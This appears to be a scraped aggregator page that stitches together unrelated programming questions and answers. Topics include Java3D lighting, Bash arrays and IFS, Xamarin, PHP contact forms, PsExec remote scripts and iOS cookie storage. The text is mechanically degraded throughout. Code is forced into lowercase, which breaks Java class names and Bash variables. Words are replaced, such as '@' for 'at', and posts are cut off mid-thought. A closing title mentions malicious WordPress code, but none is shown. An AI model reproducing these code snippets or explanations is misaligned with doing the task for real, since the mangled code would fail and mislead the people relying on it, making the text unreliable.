Posts

Showing posts from January, 2011

java - Light and textures in Java3D -

Image
my problem difference between this: and this: i'm trying create nice looking solar system java3d when apply texture lighting effect disappears , 3d effect (when not looking @ planet top-down) goes it. how can have kind of shading on textured surfaces? the code used earth example available below. texture downloadable here . import com.sun.j3d.utils.geometry.primitive; import com.sun.j3d.utils.geometry.sphere; import com.sun.j3d.utils.image.textureloader; import com.sun.j3d.utils.universe.simpleuniverse; import javax.imageio.imageio; import javax.media.j3d.*; import javax.vecmath.color3f; import javax.vecmath.point3d; import javax.vecmath.vector3d; import java.awt.*; import static java.lang.math.pi; import static java.lang.math.cos; import static java.lang.math.sin; public class hello3d { public hello3d() { simpleuniverse universe = new simpleuniverse(); branchgroup group = new branchgroup(); for(double i=0; i<2*pi; i+=pi/5)...

Bash: read lines into an array *without* touching IFS -

i'm trying read lines of output subshell array, , i'm not willing set ifs because it's global. don't want 1 part of script affect following parts, because that's poor practice , refuse it. reverting ifs after command not option because it's trouble keep reversion in right place after editing script. how can explain bash want each array element contain entire line, without having set global variables destroy future commands? here's example showing unwanted stickiness of ifs: lines=($(egrep "^-o" speccmds.cmd)) echo "${#lines[@]} lines without ifs" ifs=$'\r\n' lines=($(egrep "^-o" speccmds.cmd)) echo "${#lines[@]} lines ifs" lines=($(egrep "^-o" speccmds.cmd)) echo "${#lines[@]} lines without ifs?" the output is: 42 lines without ifs 6 lines ifs 6 lines without ifs? this question based on misconception. ifs=foo read does not change ifs outside of read operation its...

ios - How can I get started with Xamarin from Visual Studio 2013? -

i want port compact framework/windows ce app xamarin create android , ios (and possibly windows phone) "versions." reckon need windows 8 windows phone (8) thought started android , ios in moving prehistoric app 21st century. according this article , first need "project linker" , can nuget it, searching via tools > extensions , updates in vs 2013 returns no search results. that article says need vs 2012 or better; direct link "project linker," though, says supports vs 2010. where go here? update i went here , , in processing of downloading. update 2 here , says, "modern integrated development environment (ide) – xamarin uses xamarin studio on mac os x, , xamarin studio or visual studio 2010 on windows." yet in vs 2013, do have project types android , ios*, reckon that's typo (hasn't been updated)? although don't have mac, not possible me right now; also, since i'm still on windows 7 @ work, windows 8 pho...

php - How get customers collection for product hwo have this product in wishlist -

hi, have product. how can customers collection have product in wishlist. my guess looking create sort of cart or cart rendering? if search how create cart in php. there alot of useful videos on youtube , such. want incorporate sessions customers can store info page page. hope helps.

asp.net mvc - Which version of MVC I can integrate with Sitecore v7.0 -

i have installed sitecore version 7.0 , i'm creating new sitecore project in mvc. question can integrate mvc latest version i.e. mvc 4/5 sitecore v7.0 should implement mvc or web form developing website in sitecore v7.0. 1 best future prospective. thanks sitecore 7.0 supports mvc 4 out of box. there several blog posts on how use mvc 5 on sitecore 7 or sitecore 7.1 (i.e. here ), recommend use mvc 4 sitecore 7.0. sitecore 7.2 supports mvc 5.1. so that's primary opinion based. future prospective think it's better use mvc, because more , more resources come mvc.

java - Allow only one decimal value float while entering itself in JTable column? -

i implemented jtable in gui. , make 3rd column editable overriding iscelleditable(int row, int column) in mytablemodel . now i'm trying allow float value 1 decimal location editable column. have tried implement celleditorlistener , control coming method after input edited. want restrict while typing itself. how can overcome problem?

android - open app when screen on -

i'm trying app started when screen on. lockscreen should show everytime screen goes on. following code wrote far , i'm not sure wrong. there no error message. application runs won't start when screen goes on. this receiver: package com.example.screenlocker; import android.content.broadcastreceiver; import android.content.context; import android.content.intent; public class startmyserviceatbootreceiver extends broadcastreceiver { public static boolean screenoff = true; @override public void onreceive(context context, intent intent) { if (intent.getaction().equals(intent.action_screen_on)) { screenoff = true; intent = new intent(context,lockservice.class); i.putextra("screen_state", screenoff); context.startservice(i); } else if (intent.getaction().equals(intent.action_screen_off)) { screenoff = false; } } and service: package com.example.screenlocker; import android.app.service; import android...

jquery - Input box does not show default value -

i have email box in show default value "enter email" herefore created email box in html: <p> email: <br /> <input type="email" size="30"/> </p> an following jquery: $(document).ready(function(){ var default = "please enter email adress; $("input").attr("value", default); }); it not show however. suggestions i'm doing wrong? why doing this, can directly use placeholder attribute. there no need of using jquery or javascript <p> email: <br /> <input type="email" size="30" placeholder="please enter email address"/> </p>

Use external camera with android tablet -

i want know there way use input of external camera connected android tablet using usb application running on tablet. i suggest try one android-webcam also helpful you developer.android.com/guide/topics/connectivity/usb/accessory.html

java - What is seed in util.Random? -

i can't understand meaning of seed in java.util.random ? had read why code print “hello world”? question , still confuse seed . can describe me kindfully seed mean ? thanks. in documentation setseed() method ... mean seed - initial seed ? public void setseed (long seed) sets seed of random number generator using single long seed. general contract of setseed alters state of random number generator object in same state if had been created argument seed seed. method setseed implemented class random atomically updating seed to (seed ^ 0x5deece66dl) & ((1l << 48) - 1) , clearing havenextnextgaussian flag used nextgaussian(). implementation of setseed class random happens use 48 bits of given seed. in general, however, overriding method may use 64 bits of long argument seed value. parameters : seed - initial seed i expect if can understand meaning of seed , sure understand this answer. a pseudo-random number generator produces...

javascript - BASH CURL SCRIPT / Automatic Web Form Login -

i need login automatically wi-fi network shell script (terminal / os x). the web form submit controlled through javascript: function submitaction(){ var link = document.location.href; var searchstring = "redirect="; var equalindex = link.indexof(searchstring); var redirecturl = ""; var urlstr = ""; if(equalindex > 0) { equalindex += searchstring.length; redirecturl = link.substring(equalindex); if(redirecturl.length > 0){ if(redirecturl.length > 255) redirecturl = redirecturl.substring(0,255); document.forms[0].redirect_url.value = redirecturl; } } document.forms[0].buttonclicked.value = 4; document.forms[0].submit(); } two fields used (password & username) , form method="post". question: possible through shell script in os x? how proceed when submit triggered way javascript? many thanks! ...

c - Half way cross-compilation leveraging LLVM - Compile faster on the Raspberry Pi -

the raspberry pi takes lot of time compile c code. want accelerate compilation. compilation error. to that, , because code on pc, want use pc, use llvm (shipped cygwin) produce llvm assembly language version of executable. , then, send raspberry pi final conversion native (arm) executable. i hoping executable lot faster because compile llvm language code in parallel on multi-core machine before linking (llvm-link). last step on raspberry pi itself, translating llvm language executable binary short, hope. let's take example code: #include <stdio.h> int main(){ printf("0"); return 0; } then on pc, run clang a.c -emit-llvm -s this produces file called a.s llvm language version of .c file and then, send a.s raspberry pi , run on command llc -filetype=obj a.s generate a.s.o object file. but when want create executable on rasp pi object file, error: clang a.s.o -o a.out /usr/bin/ld: error: a.out uses vfp register arguments, a.s.o not /usr/...

checkbox styling with css -

i remove white space between original border of checkbox , boxshadow, looks @ least compact. float: right; padding: 0px; -ms-transform: scale(1.1); -moz-transform: scale(1.01); -webkit-transform: scale(1.1); -o-transform: scale(1.1); margin-right: 2px; -webkit-box-shadow: inset 0px 1px 1px white, 0px 1px 3px rgba(0,0,0,0.5); -moz-box-shadow: inset 0px 1px 1px white, 0px 1px 3px rgba(0,0,0,0.5); box-shadow: inset 0px 1px 5px #dedede, 0px 1px 3px rgba(0,0,0,0.5); what can ? best regards

css - Bootstrap Button Pressed State -

i've got issue buttons , don't know css is. if on site, http://www.gnarlydigital.com/services , you'll see button 'start project>>'. when hover on button, button looks it's been pressed. if click , hold button gains inner shaddow , border @ bottom appears again. how can fix hover , press , hold states same? thank you. thanks richlewis, i've spotted it. 1 of problems seeing active state, post answers perfectly. see :hover state in chrome developer tools

sql - Pulling last 10 orders from mysql table -

i'm new mysql , i'm trying figure out if there way can pull information the last 5 recent orders. i'm trying pull ordernumber, productname, , firstname last 5 recent orders. i created 2 dummy tables i'm working with: table: orders fields: ordernumber customeroid orderinformationoid purchasedatetime table: customerdata fields: customeroid firstname middleinitial lastname table: products fields: productoid productname companyoid i thinking inner join how determine recent orders? i suppose there's productoid column in orders table, can use query: select o.ordernumber, p.productname, c.firstname (select ordernumber, customeroid, productoid orders order purchasedatetime desc limit 5) o inner join customers c on o.customeroid = c.customeroid inner join products p on o.productoid = p.productoid

How can I add a "sender name" in a PHP contact form? -

Image
considering experience php limited, customised contact form found , works want. thing that's bothering me can't find way include "sender name" in it, means when recieve e-mail, sender field empty seen below. i set "contato" sender name. possible? any tips on how achieve appreciated. php: <?php if($_post) { //check if ajax request, exit if not if(!isset($_server['http_x_requested_with']) , strtolower($_server['http_x_requested_with']) != 'xmlhttprequest') { die(); } $to_email = "giovanna.coppola@yahoo.com"; //replace recipient email address $subject = 'formul&#225;rio de contato (site)'; //subject line emails //check $_post vars set, exit if missing if(!isset($_post["username"]) || !isset($_post["useremail"]) || !isset($_post["userphone"]) || !isset($_post["usermessage"])) { die(); } //...

php - Failed to install PDO -

i failed install pdo on centos 6.5 using # pecl install pdo warning: "pecl/pdo" deprecated in favor of "channel://http://svn.php.net/viewvc/php/php-src/trunk/ext/pdo//ext/pdo" downloading pdo-1.0.3.tar ... <redacted> /tmp/pear/temp/pdo/pdo.c: in function ‘php_pdo_get_exception_base’: /tmp/pear/temp/pdo/pdo.c:78: error: few arguments function ‘zend_exception_get_default’ make: *** [pdo.lo] error 1 error: `make' failed my php version # php -v php 5.4.25 (cli) (built: mar 7 2014 21:04:52) copyright (c) 1997-2014 php group zend engine v2.4.0, copyright (c) 1998-2014 zend technologies any idea how can enabled pdo?

How to set datetime variable in SQL Server 2008 -

declare @test datetime set @test='21/03/2014' print @test select @test set @test=21/03/2014 print @test select @test set @test=21-03-2014 print @test select @test set @test=03/21/2014 print @test select @test set @test=2014/21/03 print @test select @test set @test=2014/03/21 print @test select @test this code gives wrong output plz tell me code assign datetime variable in sqlserver 2008 declare @test datetime set @test='03/21/2014' //set @test='21/03/2014' not valid must give date in mm/dd/yyyy print @test set @test='2014/03/21' print @test

QuickBooks IPP Rest API 3.0 CustomerRef in Invoice -

when use ipp rest api 3.0 create invoice, example this: <invoice xmlns="http://schema.intuit.com/finance/v3"> <line> <description>installation labor</description> <amount>420.00</amount> <detailtype>salesitemlinedetail</detailtype> <salesitemlinedetail> <itemref>33</itemref> </salesitemlinedetail> </line> <customerref>20</customerref> </invoice> in example, 20 id of customer. now, third party program, might not know id of customer, might know name of customer, , understand can query customer id first, use id in invoice creating format. but question is, can use name without specify id of customer create invoice? will following works? <invoice xmlns="http://schema.intuit.com/finance/v3"> <line> <description>installation labo...

java - Exception: Filter didn't make the test instance immediately available -

i using classifier filteredclassifier in weka. filter of classifier multifilter, doing first infogain, , standarization. after training classifier, when trying classify test instances on fly, error: java.lang.exception: filter didn't mkae test instance available! anyone knows how fix this? add classassigner filter @ end of multifilter array. when info gain changes number of attributes, class index isn't updated, you're getting array out of bounds errors.

javascript adding multiple variables to mailto body with a for loop -

this function below supposed add of variables "mess" body of email message. "who" , "what" gets read in email address , subject ok, , first line of mess variables "isbn" gets read body should...but rest of mess variables should read body not entered. wondering if loop not looping correctly. trying narrow problem down. nice. function mailorder() { who=document.order.email.value; what="order"; var mess = ""; (var n = 0; n < bookdb.length; n++) { booknum = bookdb[n].quantity; if (booknum > 0) { mess += "isbn: " + bookdb[n].number + "&nbsp;&nbsp;&nbsp;"; mess += "book name: " + bookdb[n].title + "&nbsp;&nbsp;&nbsp;"; mess += "quantity ordered: " + bookdb[n].quantity + "&nbsp;&nbsp;&nbsp;"; mess += "book price: " + bookdb[n].price + "&nbsp;...

c++ - GetQueuedCompletionStatusEx() doesn't return a per-OVERLAPPED error code -

i'm using getqueuedcompletionstatusex() api, , i've realized can indeed read n overlappeds packets in 1 syscall, instead of 1 overlapped, getqueuedcompletionstatus() , concern cannot know per-overlapped error code. while getqueuedcompletionstatus() returns 1 overlapped per call, gives me ability check, calling getlasterror() , last error current overlapped packet. how getqueuedcompletionstatusex() in fact returns n overlappeds packets, not n error codes? i have read around calling getoverlappedresult() can achieve that, point is: if call getqueuedcompletionstatusex() n overlappeds packets, , have call syscall each of them, benefit of calling 1 syscall n overlappeds pointless, since you'll call 1+n syscalls. @ point stay getqueuedcompletionstatus() , call n syscalls (for n overlappeds) instead of 1+n. do know more this? the completion status stored in overlapped.internal field. noted, that's native api status code, not winapi error code. ea...

python - get cookie expiry time using the requests library -

i trying expiry time of specific cookie retrieve server as: s = requests.session() r = s.get("http://localhost/test") r.cookies this list cookies sent server (i 2 cookies) as: <<class 'requests.cookies.requestscookiejar'>[<cookie phpsessid=cusa6hbtb85li8po argcgev221 localhost.local/>, <cookie websecu=f localhost.local/test>]> when do: r.cookies.keys i get: <bound method requestscookiejar.items of <<class 'requests.cookies.requestscooki ejar'>[cookie(version=0, name='phpsessid', value='30tg9vn9376kmh60ana2essfi3', p ort=none, port_specified=false, domain='localhost.local', domain_specified=false , domain_initial_dot=false, path='/', path_specified=true, secure=false, expires =none, discard=true, comment=none, comment_url=none, rest={}, rfc2109=false), co okie(version=0, name='websecu', value='f', port=none, port_specified=false, doma in='localhost.local...

python 3.x - Advice on my pong code -

i doing clone of pong. barebone version of pong. , nice if guys me refine it. doing learning exercise, have kept basic functions. import time import pygame done = false pygame.init() myfont = pygame.font.sysfont("monospace", 15) screen_size = [320,240] white = [255,255,255] black = [0,0,0] gutter = 10 score_1 = 0 score_2 = 0 ball_pos = [160,120] ball_vel = [1,1] paddle_1 = [0,0] paddle_2 = [screen_size[0]-5,0] vel_1 = [0,0] vel_2 = [0,0] p1 = false p2 = false screen = pygame.display.set_mode(screen_size) pygame.display.set_caption("mygame") while not done: time.sleep(0.02) screen.fill(black) event in pygame.event.get(): if event.type == pygame.quit: done = true if event.type == pygame.keydown: if pygame.key.get_pressed()[pygame.k_down]: vel_2[1] += 2 p1 = true if pygame.key.get_pressed()[pygame.k_up]: p1 = true vel_2[1]...

windows - C++- 8 Queens program- chess edition -

i assigned utilize permutation code, , convert 8 queens program on chess board. i think i've finished output keeps giving stack overflow , cannot find is, it's crazy! here code below #include <iostream> #include <iomanip> using namespace std; char board[8][8]; void clearboard(); void attempt(int n, int level, int possibility); void placequeen(int level, int possibility); void removequeen(int level, int possibility); bool currentpathsuccess(int n, int level, int possibility); bool currentpathstillviable(int level, int possibility); void processsuccessfulpath(int n); int main() { int n; clearboard(); cout << "permutation of integers 1 ? "; cin >> n; (int = 1; <= n; i++){ (int j = 1; j <= n; j++) { attempt(n, i, j); } } system("pause"); return 0; } void clearboard() { (int = 0; < 8; i++) (int j = 0; j < 8; j++) board[i][j] = '_'; } void attempt(int n, int level, int possibility)...

Find and Replacing a string with a numerical value in ragged array (Mathematica) -

Image
i have gaussian .cube file ( http://paulbourke.net/dataformats/cube/ ) , looking find , replace "nan" string within file numerical value. importing .cube file gives me ragged array structure both string , numerical values. have option import file list of lists. i have tried replaceall command, mathematica seems unable find nan string replace it. defined initial array "cubefile": newcubefile = cubefile /. "nan" -> 1000000 the same goes replacepart command. an example of (shortened) .cube file 2 nan values want replace: {" grad_cube", " 3d plot", " reduced density gradient", " 10 \ 0.000000 0.000000 0.000000", " 45 0.711111 0.000000 \ 0.000000", " 45 0.000000 0.711111 0.000000", " 45 \ 0.000000 0.000000 0.711111", " 6 0.0 0.000000 0.000000 \ 0.000000", " 8 0.0 0.636571 29.627942 31.998664", ...

Local Minimum in MATLAB? -

i'm trying find exact minimum of simple function in matlab. i've been experimenting use of built-in functions such "fminbnd" , inline function definition, don't think quite know i'm doing. my code below. want find x , y of error's minimum. clear = 5; tau = linspace(1,4,500); %array of many tau values between 1 , 4 e1 = qfunc(((-tau) + 5) /(sqrt(2.5))); e0 = qfunc((tau)/(sqrt(2.5))); error = 0.5*e0 + 0.5*e1; figure subplot (311), plot(tau, e0); xlabel('threshold (tau)'), ylabel('e0') title('error vs. threshold (e0, 1 <= t <= 4)') subplot (312), plot(tau, e1); xlabel('threshold (tau)'), ylabel('e1') title('error vs. threshold (e1, 1 <= t <= 4)') subplot (313), plot(tau, error); xlabel('threshold (tau)'), ylabel('pr[error]'); title('error vs. threshold (pr[error], 1 <= t <= 4)') i mean, can use cursor when function graphed close (though not right @ point occ...

What is the different between these two ways for declaring variables in python? -

while printing fibonacci series a,b,c=1,1,1 while (c<7): print(b,end=" ") a,b,c=b,b+1,c+1 the output >> 1 2 3 5 8 13 and when tracing code found result >> 1 2 4 8 16 32 this output resulted declaring variables in way a,b,c=1,1,1 while (c<7): print(b,end=" ") a=b b=a+b c=c+1 so difference between these 2 different ways in declaring variables this line: a,b,c=b,a+b,c+1 is equivalent to: new_a = b new_b = + b new_c = c + 1 = new_a b = new_b c = new_c

Can't write string of 1 and 0 to binary file, C++ -

i have function receives pointer string name of file open , code 1 , 0; codedline contains 010100110101110101010011 after writing binary file have same...would recommend? thank you. void codefile(char *s) { char *buf = new char[maxstringlength]; std::ifstream filetocode(s); std::ofstream codedfile("codedfile.txt", std::ios::binary); if (!filetocode.is_open()) return; while (filetocode.getline(buf, maxstringlength)) { std::string codedline = codeline(buf); codedfile.write(codedline.c_str(), codedline.size()); } codedfile.close(); filetocode.close(); } after writing binary file have same... i suppose want convert std::string input binary equivalent. you can use std::bitset<> class convert strings binary values , vice versa. writing string directly file results in binary representations of character values '0' , '1' . an example how use it: std::string zeroes_an...

Android: findViewById returns Null even if is after setContentView -

here's code in loginactivity: @override protected void oncreate(bundle savedinstancestate) { super.oncreate(savedinstancestate); setcontentview(r.layout.activity_login); if (savedinstancestate == null) { getsupportfragmentmanager().begintransaction() .add(r.id.container, new placeholderfragment()).commit(); } loginbutton = (button)findviewbyid(r.id.loginbutton); loginbutton.setonclicklistener(new view.onclicklistener() { @override public void onclick(view v) { onloginbuttonclicked(); } }); // check if there logged in user // , linked facebook account. parseuser currentuser = parseuser.getcurrentuser(); if ((currentuser != null) && parsefacebookutils.islinked(currentuser)) { // go main activity showhomeactivity(); } } in fragment_login.xml <button android:id="@+id/loginbutton" android:layout_width="wrap_content...

html - How do I move an image (top-bottom) once it's already in a table? -

i position instagram link towards middle of image beside it. <div align="center"> <table cellpadding="0" width="400" cellspacing="0"> <tr> <td> <a href="http://www.facebook.com/pages/yourfanpage/12345678" target="_blank"> <img src="http://www.liviocapalbo.com/img/instagram-icon_white.png" alt="" width="128" height="128" border="0"cellpadding="30" > </a> </td> <td> <a href="http://www.myspace.com/yourpage" target="_blank"> <hr style="border: none; width: 200px; height: 550px; color: white; background: rgba(000,0,0,0.0);;margin: 0; padding: 0;"/> </a> </td> <td> <a href="http://twitter.com/yourtwitter" target=...

c# - How can I assign `Request.QueryString["access_token"]` to `string a`? -

when check breakpoint see request.querystring["access_token"] not null. can't assign string. how can ? so string = request.querystring["access_token"] just --> string = request.querystring["access_token"].tostring();

How to add more to the contents of a String array in java -

i'm trying find way add more filled array, user of program must select 1 of array example seat[0][1] , add name should added next seat they've chosen. there way of doing or there way of changing contents of part they've chosen name? i'm using 2d string array.here's code i've written far if please offer advice i'd grateful thanks. {string [][] seat = new string[2][6]; seat[0][0] = "a.1"; seat[0][1] = "b.1"; seat[0][2] = "c.1"; seat[0][3] = "d.1"; seat[0][4] = "e.1"; seat[0][5] = "f.1"; seat[1][0] = "a.2"; seat[1][1] = "b.2"; seat[1][2] = "c.2"; seat[1][3] = "d.2"; seat[1][4] = "e.2"; seat[1][5] = "f.2"; //print out array here using for-loops system.out.println("please choose seat: "); chosenseat=keyboard.readstring(); system.out.println("please enter name booking: "); name=keyboard.readstring();} array...

kettle - How can I make pentaho spoon auto-create a table? -

i having few issues pentaho spoon: want copy table 1 database another. when click on "copy table" in tool menu, auto creates transformation that. when run these issues: the truncate table ticked that's why error table not exist. i have manually un-tick that. error because table not created. have click on sql , execute query. there way automatically it? third problem pentaho created table not detecting date field, it's putting date type unknown . have manually change varchar . there way fix or default varchar ? the unknown data type typically driver issue. database using , have right driver? there no way automate creation of table within pdi - it's deliberate not this. integrate pdi tool this, dbdeploy idea. update there way automatically create tables, can follow blueprint here: https://github.com/mattcasters/blueprints

javascript - Saving values in to array and displaying it based on the number -

i have following code written in angular js <html lang="en" ng-app="person_info"> <head> <meta charset="utf-8"> <title>person info</title> <script src="../angular.min.js"></script> <script src="controller_class2.js"></script> <style type="text/css"> .forms{width:200px;height:300px;padding:75px;float:left;background:#ccc;} .deatils{width:200px;height:auto;padding:100px;float:left;background:#ccc;margin- left:10px;} .fields {background:#999999;float: left;height:120px;padding: 20px;width:260px;} </style> </head> <body ng-controller="info"> <div class="forms"> name:</br> <input type="text" value="name" ng-model="person.name"> </br> </br> first name :</br> <input type="text" value="fname" ng-model="person.firstname"...

java - Is it a good programming practice to use Class.cast() method instead of (Class) casting? -

this question has answer here: java class.cast() vs. cast operator 5 answers is programming practice use class.cast() method instead of (class) casting? what pros , cons of 2 approaches. pitfalls of both of them? i think (class) casting easier understand rather class.cast(). when using ide java eclipse, ide prefer generating (class) casting, way faster approach in coding.

Displaying images stored in a database using PHP -

for current assignment i'm trying store files db , display them. have no problem storing files can't display them properly. i'm using in main form. <td><a href=getimage.php?id='.$file[0].'" />resume</a></td> and query i'm using file out of db. $sql = "select file table res_id=$referenced_id"; $result = mysqli_query($dbc, $sql); $row = mysqli_fetch_assoc($result); header('content-type: image/jpg'); echo "<img src=\"{$row['file']}\" /><br />"; the result is …³v!µÔ¢ošweöÿz–îÌèeÈÎpej·˜kä€òþòâ­gas È*g¨¥va¤uen¤s]‰:ñy“iwØ8‡¥e]ØÝgÑ‘øqÍ!«3¨ÄvÙÁu§]zÕÿoã^ssÌuáy7wp“Ôt6Æà™ëâþÊqË!üi­oe8 9ô5ã?ÛsÇÔ‘rÃ⛘vcbh¹>ϳ=bïÃvwåçÔw#¯|8†ufŠ4ob1piÞ=q(,>µÐyx®Æ÷¥ò›Ñ5b½äy6«ðÆbͲϡ®fóá– í„ξ‹’xvîyveöæ«6§]|²½ýj‡Ï#åËßjv™-k.u\ŠÈ›o–#ó!ЊúÊmclþ-¹ïšÆÔ4ïkùñe¸ÿ0h±j§‘òù Ԉ켯íº×ÂÝã/g:»¸âïþ=³-²û?áhÑi3ŒkÙw¨ÍnºŽî-¶_Ã@iÙ¸{tiû¸>â€3ÿu7@v[àü­š‘í•ùt[9\Ó’ª?oçj©ù…69Ùxß÷¹©ö¼ |Êo...

asp.net mvc - Returning days/months since latest post -

i have in controller: model.latestposts = db.tpgforumposts.select(v => v).orderbydescending(d => d.datecreated).take(5); this gives me 5 latest posts. i going display them on cshtml page. is there easy way convert date days/months since today? a cold hard truth jwilson posted 5 days ago cold hard fact jwilson posted 3 months ago one option use jquery , timeago plugin: http://timeago.yarp.com/ your view need this: <script src="jquery.min.js" type="text/javascript"></script> <script src="jquery.timeago.js" type="text/javascript"></script> <abbr class="timeago" title="2008-07-17t09:24:17z">july 17, 2008</abbr> jquery(document).ready(function() { jquery("abbr.timeago").timeago(); });

ms access - Send email using CDO no longer working -

since last week, no longer able send email via gmail's smtp server. error " -2147220973 transport failed connect server" whenever try send email. however, if try using network (ex. mobile broadband) works. below code sending email. set cdomsg = createobject("cdo.message") set cdoconf = createobject("cdo.configuration") cdoconf.load -1 ' cdo source defaults set cdofields = cdoconf.fields cdofields .item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1 .item("http://schemas.microsoft.com/cdo/configuration/sendusername") = "example@gmail.com" .item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = "abc" .item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.gmail.com" .item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2 .item(...

php - check is array multidimensional -

i have array, form like: //1st form $a = array( 'req' => array( 'name' => 'lia', 'email' => 'lia@maya.com' ) ); , sometime like: //2nd form $a = array( 'req' => array( array( 'name' => 'lia', 'email' => 'lia@maya.com' ), array( 'name' => 'citra', 'email' => 'citra@maya.com' ) ) ); its confused when decide use loop. want, if array 1st form looping process foreach ($advrs['req'] $key => $row) { $emails[] = $row['email']; } and when array in second form use looping process. foreach ($advrs['req'] $key => $row) { foreach ($row $list) { $emails[] = $list['email']; } } how make it? thank you. try is_array like foreach ($advrs[...

POST request in REST WCF -

i have developed rest wcf service method following: [operationcontract] [webinvoke(method = "post", bodystyle = webmessagebodystyle.wrappedrequest, requestformat = webmessageformat.xml, responseformat = webmessageformat.xml, uritemplate = "/details")] detaildata getdetails(testdata requst); [datacontract] public class testdata { [datamember] public string detaildata { get; set; } } now trying invoke service using following client code: asciiencoding encoding = new asciiencoding(); string testxml = "<testdata>" + "<detaildata>" + "4000" + "</detaildata>" + "</testdata>"; string postdata = testxml.tostring(); byte[] data = encoding.getbytes(postdata); string url = "http://localhost/wcfrestservice.svc/bh/details"; string strresult = string.empty; // declare...

java - Could not reserve enough space for object heap - Alfresco build from source -

i trying build alfresco source , following instructions this link. whenever try execute below command: ant build-tomcat i getting below error: [mkdir] created dir: e:\pradeep\alfresco\alfresco source\root\projects\core\build\classes [javac] compiling 159 source files e:\pradeep\alfresco\alfresco source\root\projects\core\build\classes [javac] error occurred during initialization of vm [javac] error: not create java virtual machine. [javac] error: fatal exception has occurred. program exit. [javac] not reserve enough space object heap i tried setting heap size using following environment variable: java_opts = -xms256m -xmx512m i played various values 1333m, 1024m, 64m etc. still same error. alternative tried execute using maven mvn clean install , won't run, following error: [error] failed execute goal org.apache.maven.plugins:maven-surefire-plugin:2.16:test (default-test) on project alfresco-core: execution default-test of goal org.apache.ma erminated wi...

c# - Grab a List Item from the Master Page -

i have listitem in master page need assign new css class . <ul> <li></li> <li id="myli" runat="server"></li> <li></li> </ul> the first thing tried following: listitem li = this.master.findcontrol("myli"); cannot implicitly convert type 'system.web.ui.control' 'system.web.ui.webcontrols.listitem' then: listitem li = (listitem) this.master.findcontrol("myli"); cannot convert type 'system.web.ui.control' 'system.web.ui.webcontrols.listitem' then: control li = this.master.findcontrol("myli"); but didn't find method give new css class. sounds need grab webcontrol rather control . solution? you need cast htmlgenericcontrol , this: htmlgenericcontrol li = (htmlgenericcontrol)this.master.findcontrol("myli"); the htmlgenericcontrol has attributecollection property can use: li.attributes....

python - can not install psycopg2 2.5+ on mac osx 10.9 -

here error log: building 'psycopg2._psycopg' extension creating build/temp.macosx-10.9-intel-2.7 creating build/temp.macosx-10.9-intel-2.7/psycopg cc -fno-strict-aliasing -fno-common -dynamic -arch x86_64 -arch i386 -g -os -pipe -fno-common -fno-strict-aliasing -fwrapv -mno-fused-madd -denable_dtrace -dmacosx -dndebug -wall -wstrict-prototypes -wshorten-64-to-32 -dndebug -g -fwrapv -os -wall -wstrict-prototypes -denable_dtrace -arch x86_64 -arch i386 -pipe -dpsycopg_default_pydatetime=1 -dpsycopg_version="2.5 (dt dec pq3 ext)" -dpg_version_hex=0x090301 -dpsycopg_extensions=1 -dpsycopg_new_boolean=1 -dhave_pqfreemem=1 -i/system/library/frameworks/python.framework/versions/2.7/include/python2.7 -i. -i/library/postgresql/9.3/include -i/library/postgresql/9.3/include/postgresql/server -c psycopg/psycopgmodule.c -o build/temp.macosx-10.9-intel-2.7/psycopg/psycopgmodule.o clang: error: unknown argument: '-mno-fused-madd' [-wunused-command-line-argument-har...

c# - Xdocument and linq - doesn't cycle thru the elements -

given xml request (with xxx replaced whatever user wanted), cant figure out why it's not returning 2 test objects list should. string youtubexml = new webclient().downloadstring("http://gdata.youtube.com/feeds/api/users/xxxxxxxxx/uploads?orderby=published"); xdocument xdoc = xdocument.parse(youtubexml); list<dynamic> videos = (from in xdoc.descendants("entry") select new { //just declaring random title = i.element("id").value }).tolist<dynamic>(); and xml structure looks this: <feed xmlns="http://www.w3.org/2005/atom" xmlns:media="http://search.yahoo.com/mrss/" xmlns:opensearch="http://a9.com/-/spec/opensearchrss/1.0/" xmlns:gd="http://schemas.google.com/g/2005" xmlns:yt="http://gdata.youtube.com/schemas/2007"> <id>http://gdata.youtube.com/fe...

telnet - Getting PSEXEC to run a local .vbs file on a remote machine without copying it over -

i psexec run .vbs file on remote machine me, have have .vbs located on remote machine. below example of script work. psexec \\<\i.paddress\> -u <\user\> -p <\password\> -w c:\ -h cscript.exe "c:\users\admin\desktop\test.vbs" is there solution saves me having place test.vbs file on remote machine before hand? use -c option ( http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx ) -c copy specified program remote system execution. if omit option application must in system path on remote system.

tfs - How can a Gated check-in be triggered programmatically? -

i getting errors using workspace.checkin command in tfs because files trying check in part of gated build definition. there lots of people asking how override gated check-in using tfs api. different question this: if want perform gated check-in, programmatically? how can trigger in tfs api? what want is: perform normal check-in operation of set of pending changes receive information gated build launched either subscribe completion event build, or poll build until complete. continue if build successful, , changes committed (get resulting changeset if possible) stop if build not successful, , report error. i not find out there answer question; perhaps such edge case i'm 1 crazy enough want this. said, need legitimate. thing can figure need go through lower-level functions of gated check-in process: 1) walk through build definitions see if path of of files coincide of paths in of gated builds. 2) if intersection exists, create shelveset of pending changes 3) queu...

ios - NSHTTPCookieStorage loosing cookies if app starts before phone has been unlocked at least once after a reboot -

problem as title says, i'm experiencing issue nshttpcookiestorage loosing cookies our app when it's initialised in background before phone has been unlocked @ least once after reboot. once cookies lost, can't recovered in way, forcing user re login retrieve new set of cookies , recover session. if app activity registered first time after user has unlocked her/his phone, works charm. context: this issue happened using nsurlrequest , nsurlsession using asihttp , afnetworking automatic cookie handling, came conclusion affecting whole nshttpcookiestorage class. our app has slc (significant location change monitoring) its triggered in background automatically. steps reproduce make demo app performs network call ("lets call call a"), authenticate server, getting cookies in response that. perform second call (lets call "call b") requires cookies sent in order work. if goes well, cookies should automatically managed , sent server acco...

What does this malicious PHP code found in a WordPress install do? -

